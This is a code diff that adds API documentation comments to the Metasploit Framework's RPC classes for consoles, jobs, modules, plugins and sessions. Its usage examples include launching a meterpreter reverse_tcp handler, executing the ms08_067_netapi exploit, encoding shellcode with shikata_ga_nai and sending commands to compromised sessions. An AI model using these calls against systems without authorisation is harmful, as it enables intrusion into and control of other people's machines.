cid = @console_driver.create_console(opts)
{
@ -21,6 +34,17 @@ class RPC_Console < RPC_Base
}
end
# Returns a list of framework consoles.
#
# @return [Hash] Console information.
# * 'consoles' [Array<Hash>] consoles, each element is a hash that includes:
# * 'id' [Fixnum] The console's ID
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.list')
def rpc_list
ret = []
@console_driver.consoles.each_key do |cid|
@ -33,6 +57,15 @@ class RPC_Console < RPC_Base
{'consoles' => ret}
end
# Deletes a framework console instance.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A result indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('console.destroy', 1)
def rpc_destroy(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -40,6 +73,21 @@ class RPC_Console < RPC_Base
{ 'result' => res ? 'success' : 'failure' }
end
# Returns the framework console output in raw form.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'data' [String] The output the framework console produces (example: the banner)
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.read', 1)
def rpc_read(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -50,18 +98,59 @@ class RPC_Console < RPC_Base
}
end
# Sends an input (such as a command) to the framework console.
#
# @param [Fixnum] cid Framework console ID.
# @param [String] data User input.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is invalid, you will get a hash like the following:
# * 'wrote' [Fixnum] Number of bytes sent.
# @note Remember to add a newline (\\r\\n) at the end of input, otherwise
# the console will not do anything. And you will need to use the
# #rpc_read method to retrieve the output again.
# @example Here's how you would use this from the client:
# # This will show the current module's options.
# rpc.call('console.write', 4, "show options\r\n")
def rpc_write(cid, data)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "wrote" => @console_driver.write_console(cid, data || '') }
end
# Returns the tab-completed version of your input (such as a module path).
#
# @param [Fixnum] cid Framework console ID.
# @param [String] line Command.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'tabs' [String] The tab-completed version of the command.
# @example Here's how you would use this from the client:
# # This will return:
# # {"tabs"=>["use exploit/windows/smb/ms08_067_netapi"]}
# rpc.call('console.tabs', 4, "use exploit/windows/smb/ms08_067_")
def rpc_tabs(cid, line)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) }
end
# Kills a framework session. This serves the same purpose as [CTRL]+[C] to abort an interactive session.
# You might also want to considering using the session API calls instead of this.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully killed, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_kill', 4)
def rpc_session_kill(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -69,6 +158,15 @@ class RPC_Console < RPC_Base
{ 'result' => 'success' }
end
# Detaches a framework session. This serves the same purpose as [CTRL]+[Z] to
# background an interactive session.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully detached, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_detach', 4)
def rpc_session_detach(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]

View File

@ -3,6 +3,14 @@ module Msf
module RPC
class RPC_Core < RPC_Base
# Returns the RPC service versions.
#
# @return [Hash] A hash that includes the version information:
# * 'version' [String] Framework version
# * 'ruby' [String] Ruby version
# * 'api' [String] API version
# @example Here's how you would use this from the client:
# rpc.call('core.version')
def rpc_version
{
"version" => ::Msf::Framework::Version,
@ -11,40 +19,117 @@ class RPC_Core < RPC_Base
}
end
# Stops the RPC service.
#
# @return [void]
# @example Here's how you would use this from the client:
# rpc.call('core.stop')
def rpc_stop
self.service.stop
end
# Returns a global datstore option.
#
# @param [String] var The name of the global datastore.
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
# @example Here's how you would use this from the client:
# rpc.call('core.getg', 'GlobalSetting')
def rpc_getg(var)
val = framework.datastore[var]
{ var.to_s => val.to_s }
end
# Sets a global datastore option.
#
# @param [String] var The hash key of the global datastore option.
# @param [String] val The value of the global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.setg', 'MyGlobal', 'foobar')
def rpc_setg(var, val)
framework.datastore[var] = val
{ "result" => "success" }
end
# Unsets a global datastore option.
#
# @param [String] var The global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.unsetg', 'MyGlobal')
def rpc_unsetg(var)
framework.datastore.delete(var)
{ "result" => "success" }
end
# Saves current framework settings.
#
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.save')
def rpc_save
framework.save_config
{ "result" => "success" }
end
# Reloads framework modules. This will take some time to complete.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits reloaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules reloaded.
# * 'post' [Fixnum] The number of post modules reloaded.
# * 'encoders' [Fixnum] The number of encoders reloaded.
# * 'nops' [Fixnum] The number of NOP modules reloaded.
# * 'payloads' [Fixnum] The number of payloads reloaded.
# @example Here's how you would use this from the client:
# rpc.call('core.reload_modules')
def rpc_reload_modules
framework.modules.reload_modules
rpc_module_stats()
end
# Adds a new local file system path (local to the server) as a module path. The module must be
# accessible to the user running the Metasploit service, and contain a top-level directory for
# each module type such as: exploits, nop, encoder, payloads, auxiliary, post. Also note that
# this will not unload modules that were deleted from the file system that were previously loaded.
#
# @param [String] path The new path to load.
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits loaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules loaded.
# * 'post' [Fixnum] The number of post modules loaded.
# * 'encoders' [Fixnum] The number of encoders loaded.
# * 'nops' [Fixnum] The number of NOP modules loaded.
# * 'payloads' [Fixnum] The number of payloads loaded.
# @example Here's how you would use this from the client:
# rpc.call('core.add_module_path', '/tmp/modules/')
def rpc_add_module_path(path)
framework.modules.add_module_path(path)
rpc_module_stats()
end
# Returns the module stats.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits.
# * 'auxiliary' [Fixnum] The number of auxiliary modules.
# * 'post' [Fixnum] The number of post modules.
# * 'encoders' [Fixnum] The number of encoders.
# * 'nops' [Fixnum] The number of NOP modules.
# * 'payloads' [Fixnum] The number of payloads.
# @example Here's how you would use this from the client:
# rpc.call('core.module_stats')
def rpc_module_stats
{
'exploits' => framework.stats.num_exploits,
@ -56,6 +141,18 @@ class RPC_Core < RPC_Base
}
end
# Returns a list of framework threads.
#
# @return [Hash] A collection of threads. Each key is the thread ID, and the value is another hash
# that contains the following:
# * 'status' [String] Thread status.
# * 'critical' [Boolean] Thread is critical.
# * 'name' [String] Thread name.
# * 'started' [String] Timestamp of when the thread started.
# @example Here's how you would use this from the cient:
# # You will get something like this:
# # {0=>{"status"=>"sleep", "critical"=>false, "name"=>"StreamServerListener", "started"=>"2015-04-21 15:25:49 -0500"}}
# rpc.call('core.thread_list')
def rpc_thread_list
res = {}
framework.threads.each_index do |i|
@ -71,6 +168,13 @@ class RPC_Core < RPC_Base
res
end
# Kills a framework thread.
#
# @param [Fixnum] tid The thread ID to kill.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.thread_kill', 10)
def rpc_thread_kill(tid)
framework.threads.kill(tid.to_i) rescue nil
{ "result" => "success" }

File diff suppressed because it is too large Load Diff

View File

@ -3,6 +3,14 @@ module Msf
module RPC
class RPC_Job < RPC_Base
# Returns a list of jobs.
#
# @return [Hash] A list of jobs (IDs and names).
# Each key is the job ID, and each value is the job name.
# @example Here's how you would use this from the client:
# # This will return ('0' is the job ID):
# # {"0"=>"Exploit: windows/browser/ms14_064_ole_code_execution"
# rpc.call('job.list')
def rpc_list
res = {}
self.framework.jobs.each do |j|
@ -11,6 +19,14 @@ class RPC_Job < RPC_Base
res
end
# Stops a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('job.stop', 0)
def rpc_stop(jid)
obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj
@ -18,6 +34,17 @@ class RPC_Job < RPC_Base
{ "result" => "success" }
end
# Returns information about a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash that contains information about the job, such as the following (and maybe more):
# * 'jid' [Fixnum] The Job ID.
# * 'name' [String] The name of the job.
# * 'start_time' [Fixnum] The start time.
# * 'datastore' [Hash] Datastore options for the module.
# @example Here's how you would use this from the client:
# rpc.call('job.info', 0)
def rpc_info(jid)
obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj

View File

@ -4,30 +4,86 @@ module Msf
module RPC
class RPC_Module < RPC_Base
# Returns a list of exploit names. The 'exploit/' prefix will not be included.
#
# @return [Hash] A list of exploit names. It contains the following key:
# * 'modules' [Array<string>] Exploit names, for example: ['windows/wins/ms04_045_wins']
# @example Here's how you would use this from the client:
# rpc.call('module.exploits')
def rpc_exploits
{ "modules" => self.framework.exploits.keys }
end
# Returns a list of auxiliary module names. The 'auxiliary/' prefix will not be included.
#
# @return [Hash] A list of auxiliary module names. It contains the following key:
# * 'modules' [Array<string>] Auxiliary module names, for example: ['vsploit/pii/web_pii']
# @example Here's how you would use this from the client:
# rpc.call('module.auxiliary')
def rpc_auxiliary
{ "modules" => self.framework.auxiliary.keys }
end
# Returns a list of payload module names. The 'payload/' prefix will not be included.
#
# @return [Hash] A list of payload module names. It contains the following key:
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
# @example Here's how you would use this from the client:
# rpc.call('module.payloads')
def rpc_payloads
{ "modules" => self.framework.payloads.keys }
end
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
#
# @return [Hash] A list of encoder module names. It contains the following key:
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
# @example Here's how you would use this from the client:
# rpc.call('module.encoders')
def rpc_encoders
{ "modules" => self.framework.encoders.keys }
end
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
#
# @return [Hash] A list of NOP module names. It contains the following key:
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
# @example Here's how you would use this from the client:
# rpc.call('module.nops')
def rpc_nops
{ "modules" => self.framework.nops.keys }
end
# Returns a list of post module names. The 'post/' prefix will not be included.
#
# @return [Hash] A list of post module names. It contains the following key:
# * 'modules' [Array<string>] Post module names, for example: ['windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('module.post')
def rpc_post
{ "modules" => self.framework.post.keys }
end
# Returns the metadata for a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either the wrong type or name).
# @return [Hash] The module's metadata. The exact keys you will get depends on the module.
# @example Here's how you would use this from the client:
# # This gives us the metadata of ms08_067_netapi
# rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_info(mtype, mname)
m = _find_module(mtype,mname)
res = {}
@ -74,6 +130,14 @@ class RPC_Module < RPC_Base
end
# Returns the compatible payloads for a specific exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's compatible payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads. For example: ['generic/custom']
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_payloads', 'windows/smb/ms08_067_netapi')
def rpc_compatible_payloads(mname)
m = _find_module('exploit',mname)
res = {}
@ -85,6 +149,15 @@ class RPC_Module < RPC_Base
res
end
# Returns the compatible sessions for a specific post module.
#
# @param [String] mname Post module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The post module's compatible sessions. It contains the following key:
# * 'sessions' [Array<Fixnum>] A list of session IDs.
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_sessions', 'windows/wlan/wlan_profile')
def rpc_compatible_sessions(mname)
m = _find_module('post',mname)
res = {}
@ -93,6 +166,17 @@ class RPC_Module < RPC_Base
res
end
# Returns the compatible target-specific payloads for an exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'
# @param [Fixnum] target A specific target the exploit module provides.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's target-specific payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads.
# @example Here's how you would use this from the client:
# # Find all the compatible payloads for target 1 (Windows 2000 Universal)
# rpc.call('module.target_compatible_payloads', 'windows/smb/ms08_067_netapi', 1)
def rpc_target_compatible_payloads(mname, target)
m = _find_module('exploit',mname)
res = {}
@ -105,6 +189,21 @@ class RPC_Module < RPC_Base
res
end
# Returns the module's datastore options.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @return [Hash] The module's datastore options. This will actually give you each option's
# data type, requirement state, basic/advanced type, description, default value, etc.
# @example Here's how you would use this from the client:
# rpc.call('module.options', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_options(mtype, mname)
m = _find_module(mtype,mname)
res = {}
@ -131,6 +230,28 @@ class RPC_Module < RPC_Base
res
end
# Executes a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * payload
# @param [String] mname Module name. For example: 'windows/smb/ms08_067_netapi'.
# @param [Hash] opts Options for the module (such as datastore options).
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @note If you get exploit sessions via the RPC service, know that only the RPC clients
# have access to those sessions. Framework msfconsole will not be able to use or
# even see these sessions, because it belongs to a different framework instance.
# However, this restriction does not apply to the database.
# @return [Hash] It contains the following keys:
# * 'job_id' [Fixnum] Job ID.
# * 'uuid' [String] UUID.
# @example Here's how you would use this from the client:
# # Starts a windows/meterpreter/reverse_tcp on port 6669
# opts = {'LHOST' => '0.0.0.0', 'LPORT'=>6669, 'PAYLOAD'=>'windows/meterpreter/reverse_tcp'}
# rpc.call('module.execute', 'exploit', 'multi/handler', opts)
def rpc_execute(mtype, mname, opts)
mod = _find_module(mtype,mname)
case mtype
@ -146,11 +267,44 @@ class RPC_Module < RPC_Base
end
# Returns a list of encoding formats.
#
# @return [Array<String>] Encoding foramts.
# @example Here's how you would use this from the client:
# rpc.call('module.encode_formats')
def rpc_encode_formats
# Supported formats
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
end
# Encodes data with an encoder.
#
# @param [String] data Data to encode.
# @param [encoder] encoder Encoder module name. For example: 'x86/single_byte'.
# @param [Hash] options Encoding options, such as:
# @option options [String] 'format' Encoding format.
# @option options [String] 'badchars' Bad characters.
# @option options [String] 'platform' Platform.
# @option options [String] 'arch' Architecture.
# @option options [Fixnum] 'ecount' Number of times to encode.
# @option options [TrueClass] 'inject' To enable injection.
# @option options [String] 'template' The template file (an executable).
# @option options [String] 'template_path' Template path.
# @option options [String] 'addshellcode' Custom shellcode.
# @raise [Msf::RPC::Exception] Error could be one of these:
# * 500 Invalid format
# * 500 Failure to encode
# @return The encoded data. It contains the following key:
# * 'encoded' [String] The encoded data in the format you specify.
# @example Here's how you would use this from the client:
# # This will encode 'AAAA' with shikata_ga_nai, and prints the following:
# # unsigned char buf[] =
# # "\xba\x9e\xb5\x91\x66\xdb\xd2\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
# # "\x01\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\x6b\xf4\xd0\x27";
# result = rpc.call('module.encode', 'AAAA', 'x86/shikata_ga_nai', {'format'=>'c'})
# puts result['encoded']
def rpc_encode(data, encoder, options)
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats

View File

@ -3,8 +3,20 @@ module Msf
module RPC
class RPC_Plugin < RPC_Base
# Loads a plugin.
#
# @param [String] path The plugin filename (without the extension). It will try to find your plugin
# in either one of these directories:
# * msf/plugins/
# * ~/.msf4/plugins/
# @param [Hash] xopts Options to pass to the plugin.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# # Load the nexpose plugin
# rpc.call('plugin.load', 'nexpose')
def rpc_load(path, xopts = {})
opts = {}
xopts.each do |k,v|
@ -35,6 +47,15 @@ class RPC_Plugin < RPC_Base
end
# Unloads a plugin.
#
# @param [String] name The plugin filename (without the extension). For example: 'nexpose'.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('plugin.unload', 'nexpose')
def rpc_unload(name)
self.framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
@ -47,6 +68,13 @@ class RPC_Plugin < RPC_Base
end
# Returns a list of loaded plugins.
#
# @return [Hash] All the plugins loaded. It contains the following key:
# * 'plugins' [Array<string>] A list of plugin names.
# @example Here's how you would use this from the client:
# rpc.call('plugin.loaded')
def rpc_loaded
ret = {}
ret[:plugins] = []

View File

@ -6,6 +6,27 @@ module Msf
module RPC
class RPC_Session < RPC_Base
# Returns a list of sessions that belong to the framework instance used by the RPC service.
#
# @return [Hash] Information about sessions. Each key is the session ID, and each value is a hash
# that contains the following:
# * 'type' [String] Payload type. Example: meterpreter.
# * 'tunnel_local' [String] Tunnel (where the malicious traffic comes from).
# * 'tunnel_peer' [String] Tunnel (local).
# * 'via_exploit' [String] Name of the exploit used by the session.
# * 'desc' [String] Session description.
# * 'info' [String] Session info (most likely the target's computer name).
# * 'workspace' [String] Name of the workspace.
# * 'session_host' [String] Session host.
# * 'session_port' [Fixnum] Session port.
# * 'target_host' [String] Target host.
# * 'username' [String] Username.
# * 'uuid' [String] UUID.
# * 'exploit_uuid' [String] Exploit's UUID.
# * 'routes' [String] Routes.
# * 'platform' [String] Platform.
# @example Here's how you would use this from the client:
# rpc.call('session.list')
def rpc_list
res = {}
self.framework.sessions.each do |sess|
@ -34,6 +55,13 @@ class RPC_Session < RPC_Base
res
end
# Stops a session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] Unknown session ID.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'.
def rpc_stop( sid)
s = self.framework.sessions[sid.to_i]
@ -44,11 +72,26 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Shell read is now a positon-aware reader of the shell's associated
# ring buffer. For more direct control of the pointer into a ring
# buffer, a client can instead use ring_read, and note the returned
# sequence number on their own (making multiple views into the same
# session possible, regardless of position in the stream)
# Reads the output of a shell session (such as a command output).
#
# @note Shell read is now a positon-aware reader of the shell's associated
# ring buffer. For more direct control of the pointer into a ring
# buffer, a client can instead use ring_read, and note the returned
# sequence number on their own (making multiple views into the same
# session possible, regardless of position in the stream)
# @see #rpc_ring_read
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following keys:
# * 'seq' [String] Sequence.
# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_read', 2)
def rpc_shell_read( sid, ptr=nil)
_valid_session(sid,"shell")
# @session_sequence tracks the pointer into the ring buffer
@ -63,12 +106,39 @@ class RPC_Session < RPC_Base
return ring_buffer
end
# shell_write is pretty much totally identical to ring_put
# Writes to a shell session (such as a command). Note that you will to manually add a newline at the
# enf of your input so the system will process it.
# You may want to use #rpc_shell_read to retrieve the output.
#
# @note shell_write is a wrapper of #rpc_ring_put.
# @see #rpc_ring_put
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @param [Fixnum] sid Session ID.
# @param [String] data The data to write.
# @return [Hash]
# * 'write_count' [Fixnum] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_write', 2, "DATA")
def rpc_shell_write( sid, data)
_valid_session(sid,"shell")
rpc_ring_put(sid,data)
end
# Upgrades a shell to a meterpreter.
#
# @note This uses post/multi/manage/shell_to_meterpreter.
# @param [Fixnum] sid Session ID.
# @param [String] lhost Local host.
# @param [Fixnum] lport Local port.
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
# * 'result' [String] A message that says 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
def rpc_shell_upgrade( sid, lhost, lport)
s = _valid_session(sid,"shell")
s.exploit_datastore['LHOST'] = lhost
@ -77,6 +147,20 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Reads the output from a meterpreter session (such as a command output).
#
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'data' [String] Data read.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_read', 2)
def rpc_meterpreter_read( sid)
s = _valid_session(sid,"meterpreter")
@ -88,6 +172,20 @@ class RPC_Session < RPC_Base
{ "data" => data }
end
# Reads from a session (such as a command output).
#
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_read', 2)
def rpc_ring_read( sid, ptr=nil)
s = _valid_session(sid,"ring")
begin
@ -98,6 +196,19 @@ class RPC_Session < RPC_Base
end
end
# Sends an input to a session (such as a command).
#
# @param [Fixnum] sid Session ID.
# @param [String] data Data to write.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'write_count' [String] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_put', 2, "DATA")
def rpc_ring_put( sid, data)
s = _valid_session(sid,"ring")
begin
@ -108,11 +219,32 @@ class RPC_Session < RPC_Base
end
end
# Returns the last sequence (last issued ReadPointer) for a shell session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_last', 2)
def rpc_ring_last( sid)
s = _valid_session(sid,"ring")
{ "seq" => s.ring.last_sequence.to_s }
end
# Clears a shell session. This may be useful to reclaim memory for idle background sessions.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_clear', 2)
def rpc_ring_clear( sid)
s = _valid_session(sid,"ring")
res = s.ring.clear_data
@ -123,9 +255,23 @@ class RPC_Session < RPC_Base
end
end
# Sends an input to a meterpreter prompt.
# You may want to use #rpc_meterpreter_read to retrieve the output.
#
# Run a single meterpreter console command
#
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @param [String] data Input to the meterpreter prompt.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @see #rpc_meterpreter_run_single
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_write', 2, "sysinfo")
def rpc_meterpreter_write( sid, data)
s = _valid_session(sid,"meterpreter")
@ -145,6 +291,17 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Detaches from a meterpreter session. Serves the same purpose as [CTRL]+[Z].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_detach', 3)
def rpc_meterpreter_session_detach(sid)
s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch|
@ -156,6 +313,18 @@ class RPC_Session < RPC_Base
{ "result" => "failure" }
end
# Kills a meterpreter session. Serves the same purpose as [CTRL]+[C].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_kill', 3)
def rpc_meterpreter_session_kill(sid)
s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch|
@ -167,12 +336,38 @@ class RPC_Session < RPC_Base
{ "result" => "failure" }
end
# Returns a tab-completed version of your meterpreter prompt input.
#
# @param [Fixnum] sid Session ID.
# @param [String] line Input.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] The tab-completed result. It contains the following key:
# * 'tabs' [String] The tab-completed version of your input.
# @example Here's how you would use this from the client:
# # This returns:
# # {"tabs"=>["sysinfo"]}
# rpc.call('session.meterpreter_tabs', 3, 'sysin')
def rpc_meterpreter_tabs(sid, line)
s = _valid_session(sid,"meterpreter")
{ "tabs" => s.console.tab_complete(line) }
end
# runs a meterpreter command even if interacting with a shell or other channel
# Runs a meterpreter command even if interacting with a shell or other channel.
# You will want to use the #rpc_meterpreter_read to retrieve the output.
#
# @param [Fixnum] sid Session ID.
# @param [String] data Command.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_run_single', 3, 'getpid')
def rpc_meterpreter_run_single( sid, data)
s = _valid_session(sid,"meterpreter")
@ -184,16 +379,49 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Runs a meterpreter script.
#
# @deprecated Metasploit no longer maintains or accepts meterpreter scripts. Please try to use
# post modules instead.
# @see Msf::RPC::RPC_Module#rpc_execute You should use Msf::RPC::RPC_Module#rpc_execute instead.
# @param [Fixnum] sid Session ID.
# @param [String] data Meterpreter script name.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_script', 3, 'checkvm')
def rpc_meterpreter_script( sid, data)
rpc_meterpreter_run_single( sid, "run #{data}")
end
# Returns the separator used by the meterpreter.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash that contains the separator. It contains the following key:
# * 'separator' [String] The separator used by the meterpreter.
# @example Here's how you would use this from the client:
# # This returns:
# # {"separator"=>"\\"}
# rpc.call('session.meterpreter_directory_separator', 3)
def rpc_meterpreter_directory_separator(sid)
s = _valid_session(sid,"meterpreter")
{ "separator" => s.fs.file.separator }
end
# Returns all the compatible post modules for this session.
#
# @param [Fixnum] sid Session ID.
# @return [Hash] Post modules. It contains the following key:
